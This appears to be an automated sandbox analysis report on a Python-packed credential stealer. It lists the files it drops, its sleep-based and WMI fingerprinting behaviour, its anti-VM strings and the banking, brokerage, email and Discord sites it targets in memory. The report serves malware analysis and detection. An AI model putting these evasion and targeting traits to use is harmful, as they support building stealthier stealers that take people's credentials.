Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_lzma.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\_hashlib.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\unicodedata.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_sqlite3.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\select.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\zstandard\backend_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\python310.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_ctypes.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\win32\win32api.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\zstandard\_cffi.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_decimal.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_ssl.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_socket.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_decimal.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-sysinfo-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_hashlib.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\win32\win32event.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\_socket.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_queue.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_brotli.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\_decimal.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI57402\_lzma.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\select.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_pytransform.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\select.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\python310.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\based.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74482\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_socket.pyd	Jump to dropped file

Source: C:\ProgramData\Microsoft\hacn.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\Desktop\svchost.exe	API coverage: 5.8 %
Source: C:\ProgramData\Microsoft\based.exe	API coverage: 4.3 %
Source: C:\ProgramData\Microsoft\hacn.exe	API coverage: 2.5 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 4489 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 82 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 4248 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep count: 161 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1912	Thread sleep count: 1152 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6828	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2860	Thread sleep count: 4077 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6228	Thread sleep count: 269 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2352	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3020	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4016	Thread sleep count: 2928 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4932	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6944	Thread sleep count: 1012 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7384	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep count: 2783 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4116	Thread sleep count: 1655 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3232	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8180	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3020	Thread sleep count: 2739 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3020	Thread sleep count: 1716 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5964	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2352	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6711A0CE4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671187780 FindFirstFileExW,FindClose,	0_2_00007FF671187780
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	7_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711A0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_00007FF6711A0CE4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	7_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671187780 FindFirstFileExW,FindClose,	7_2_00007FF671187780
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BAC4A8 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	8_2_00BAC4A8
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BBE560 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	8_2_00BBE560
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BCD998 FindFirstFileExA,	8_2_00BCD998
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B892F0 FindFirstFileExW,FindClose,	9_2_00007FF670B892F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00007FF670B883B0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670BA18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00007FF670BA18E4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	11_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7C7780 FindFirstFileExW,FindClose,	11_2_00007FF64E7C7780
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	11_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7E0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_00007FF64E7E0CE4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7C7780 FindFirstFileExW,FindClose,	12_2_00007FF64E7C7780
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	12_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7E0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	12_2_00007FF64E7E0CE4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	12_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B892F0 FindFirstFileExW,FindClose,	13_2_00007FF670B892F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	13_2_00007FF670B883B0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670BA18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	13_2_00007FF670BA18E4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01E93740 _PyArg_ParseTuple_SizeT,?PyWinObject_AsWCHAR@@YAHPEAU_object@@PEAPEA_WHPEAK@Z,PyList_New,?PyWinObject_FreeWCHAR@@YAXPEA_W@Z,FindFirstFileW,GetLastError,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,?PyWinObject_FreeWCHAR@@YAXPEA_W@Z,?PyObject_FromWIN32_FIND_DATAW@@YAPEAU_object@@PEAU_WIN32_FIND_DATAW@@@Z,PyList_Append,_Py_Dealloc,FindNextFileW,GetLastError,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,?PyWinObject_FreeWCHAR@@YAXPEA_W@Z,FindClose,_Py_Dealloc,	13_2_00007FFB01E93740

Source: C:\ProgramData\Microsoft\hacn.exe

13_2_00007FFB01E955A0

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

Code function: 8_2_00BC0B80 VirtualQuery,GetSystemInfo,

8_2_00BC0B80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtrayZ
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Build.exe, 00000008.00000002.1317091761.0000000008912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: based.exe, 0000000C.00000002.1723950852.0000021B5BFD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: based.exe, 0000000C.00000003.1346495943.0000021B5C45C000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1724662879.0000021B5C45C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWb
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvcZ
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvcZ
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: hacn.exe, 00000009.00000003.1319350327.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer5
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxserviceZ
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
